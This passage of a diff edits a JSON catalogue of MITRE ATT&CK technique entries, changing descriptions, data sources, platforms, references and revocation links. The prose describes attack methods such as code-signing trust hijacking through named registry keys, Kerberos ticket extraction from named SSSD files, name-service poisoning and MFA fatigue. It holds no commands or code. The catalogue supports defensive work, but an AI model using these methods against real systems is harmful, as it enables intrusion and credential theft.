components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", "meta": { "external_id": "T1198", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165", "https://attack.mitre.org/techniques/T1198", @@ -2618,12 +2602,20 @@ "https://attack.mitre.org/techniques/T1434" ] }, - "related": [], + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "1f96d624-8409-4472-ad8a-30618ee6b2e2", "value": "App Delivered via Email Attachment - T1434" }, { - "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ", + "description": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection). ", "meta": { "external_id": "T1543", "kill_chain": [ @@ -2632,7 +2624,6 @@ ], "mitre_data_sources": [ "Command: Command Execution", - "Driver: Driver Load", "File: File Creation", "File: File Modification", "Process: OS API Execution", @@ -2685,34 +2676,6 @@ "uuid": "0e6abb17-0f81-4988-9fd2-4ba0b673d729", "value": "Automated system performs requested action - T1384" }, - { - "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a standard Internet connection, the exfiltration may occur, for example, via Bluetooth, or another radio frequency (RF) channel. \n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network. ", - "meta": { - "external_id": "APP-30", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1438", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" - ] - }, - "related": [ - { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], - "uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", - "value": "Exfiltration Over Other Network Medium - T1438" - }, { "description": "If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)", "meta": { @@ -2731,15 +2694,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "393e8c12-a416-4575-ba90-19cc85656796", "value": "Eavesdrop on Insecure Network Communication - T1439" }, @@ -2766,10 +2721,8 @@ ], "mitre_data_sources": [ "Cloud Storage: Cloud Storage Creation", - "Cloud Storage: Cloud Storage Metadata", "Cloud Storage: Cloud Storage Modification", "Snapshot: Snapshot Creation", - "Snapshot: Snapshot Metadata", "Snapshot: Snapshot Modification" ], "mitre_platforms": [ @@ -2777,9 +2730,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1537", - "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html", - "https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview", - "https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature", "https://www.justice.gov/file/1080281/download" ] }, @@ -2857,28 +2807,34 @@ "value": "Compromise of externally facing system - T1388" }, { - "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts are part of the underlying operating system and are not accessible to the user unless the device has been rooted or jailbroken. ", + "description": "An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)", "meta": { - "external_id": "APP-27", + "external_id": "GPS-0", "kill_chain": [ - "mitre-mobile-attack:persistence" + "mitre-mobile-attack:network-effects" ], "mitre_platforms": [ "Android", "iOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1398", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", - "https://source.android.com/security/verifiedboot/" + "http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf", + "https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/", + "https://attack.mitre.org/techniques/T1464", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html", + "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html", + "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html", + "https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/", + "https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/", + "https://www.nytimes.com/2007/11/04/technology/04jammer.html" ] }, - "uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", - "value": "Boot or Logon Initialization Scripts - T1398" + "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d", + "value": "Jamming or Denial of Service - T1464" }, { - "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", + "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)  These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "meta": { "external_id": "CAPEC-564", "kill_chain": [ @@ -2934,15 +2890,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html" ] }, - "related": [ - { - "dest-uuid": "9ef05e3d-52db-4c12-be4f-519214bbe91f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "6f86d346-f092-4abc-80df-8558a90c426a", "value": "Remotely Track Device Without Authorization - T1468" }, @@ -2986,20 +2934,12 @@ "https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security" ] }, - "related": [ - { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "value": "Install Insecure or Malicious Configuration - T1478" }, { - "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n", + "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n", "meta": { "external_id": "CAPEC-652", "kill_chain": [ @@ -3085,12 +3025,6 @@ "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", "meta": { "external_id": "T1171", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1171", "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", @@ -3130,39 +3064,6 @@ "uuid": "5436571f-2332-4b51-b7ed-0bc822fe02c2", "value": "OS-vendor provided communication channels - T1390" }, - { - "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)", - "meta": { - "external_id": "T1621", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Logon Session: Logon Session Creation", - "Logon Session: Logon Session Metadata", - "User Account: User Account Authentication" - ], - "mitre_platforms": [ - "Windows", - "Office 365", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Azure AD", - "Google Workspace" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1621", - "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications", - "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/", - "https://www.mandiant.com/resources/russian-targeting-gov-business" - ] - }, - "uuid": "954a1639-f2d6-407d-aef3-4917622ca493", - "value": "Multi-Factor Authentication Request Generation - T1621" - }, { "description": "An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).", "meta": { @@ -3181,15 +3082,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html" ] }, - "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", "value": "Rogue Wi-Fi Access Points - T1465" }, @@ -3202,7 +3095,6 @@ ], "mitre_data_sources": [ "Command: Command Execution", - "File: File Deletion", "Process: OS API Execution" ], "mitre_platforms": [ @@ -3293,35 +3185,7 @@ "value": "Distributed Component Object Model - T1021.003" }, { - "description": "An adversary may use access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM)/mobile device management (MDM) server console to track the location of mobile devices managed by the service.(Citation: Krebs-Location) ", - "meta": { - "external_id": "EMM-7", - "kill_chain": [ - "mitre-mobile-attack:collection", - "mitre-mobile-attack:discovery" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1430/001", - "https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html", - "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html" - ] - }, - "related": [ - { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", - "type": "subtechnique-of" - } - ], - "uuid": "9ef05e3d-52db-4c12-be4f-519214bbe91f", - "value": "Remote Device Management Services - T1430.001" - }, - { - "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ", + "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ", "meta": { "external_id": "T1602.002", "kill_chain": [ @@ -3357,9 +3221,6 @@ "kill_chain": [ "mitre-attack:defense-evasion" ], - "mitre_data_sources": [ - "Application Log: Application Log Content" - ], "mitre_platforms": [ "Linux", "macOS", @@ -3379,7 +3240,7 @@ "value": "Indicator Removal from Tools - T1027.005" }, { - "description": "Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)", + "description": "Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)", "meta": { "external_id": "T1098.002", "kill_chain": [ @@ -3392,14 +3253,11 @@ ], "mitre_platforms": [ "Windows", - "Office 365", - "Google Workspace" + "Office 365" ], "refs": [ "https://attack.mitre.org/techniques/T1098/002", "https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps", - "https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html", - "https://support.google.com/a/answer/7223765?hl=en", "https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/", "https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html", "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf", @@ -3413,7 +3271,7 @@ } ], "uuid": "e74de37c-a829-446c-937d-56a44f0e9306", - "value": "Additional Email Delegate Permissions - T1098.002" + "value": "Exchange Email Delegate Permissions - T1098.002" }, { "description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)", @@ -3545,55 +3403,6 @@ "uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "value": "Create Process with Token - T1134.002" }, - { - "description": "Adversaries may modify code signing policies to enable execution of applications signed with unofficial or unknown keys. Code signing provides a level of authenticity on an app from a developer, guaranteeing that the program has not been tampered with and comes from an official source. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on a device. \n\nMobile devices generally enable these security controls by default, such as preventing the installation of unknown applications on Android. Adversaries may modify these policies in a number of ways, including [Input Injection](https://attack.mitre.org/techniques/T1516) or malicious configuration profiles.", - "meta": { - "external_id": "STA-7", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1632/001", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html" - ] - }, - "related": [ - { - "dest-uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", - "type": "subtechnique-of" - } - ], - "uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", - "value": "Code Signing Policy Modification - T1632.001" - }, - { - "description": "Adversaries may execute their own malicious payloads by hijacking the way an operating system run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur at later points in time. \n\n\nOn Android, adversaries may overwrite the standard OS API library with a malicious alternative to hook into core functions to achieve persistence. By doing this, the adversary’s code will be executed every time the overwritten API function is called by an app on the infected device.", - "meta": { - "external_id": "APP-27", - "kill_chain": [ - "mitre-mobile-attack:persistence" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1625/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html" - ] - }, - "related": [ - { - "dest-uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", - "type": "subtechnique-of" - } - ], - "uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", - "value": "System Runtime API Hijacking - T1625.001" - }, { "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)", "meta": { @@ -3633,15 +3442,12 @@ "value": "Disable or Modify Tools - T1562.001" }, { - "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ", + "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) ", "meta": { "external_id": "T1195.002", "kill_chain": [ "mitre-attack:initial-access" ], - "mitre_data_sources": [ - "File: File Metadata" - ], "mitre_platforms": [ "Linux", "macOS", @@ -3698,9 +3504,6 @@ "kill_chain": [ "mitre-attack:initial-access" ], - "mitre_data_sources": [ - "Sensor Health: Host Status" - ], "mitre_platforms": [ "Linux", "macOS", @@ -3720,7 